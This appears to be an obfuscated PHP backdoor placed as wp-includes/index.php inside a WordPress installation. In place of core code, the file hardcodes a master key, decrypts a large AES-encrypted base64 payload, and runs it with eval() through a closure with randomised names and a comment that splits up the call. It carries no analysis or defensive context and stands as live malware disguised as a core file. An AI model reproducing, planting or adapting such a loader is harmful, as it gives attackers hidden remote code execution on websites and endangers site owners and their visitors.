File: /var/www/vfconf/wp-includes/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);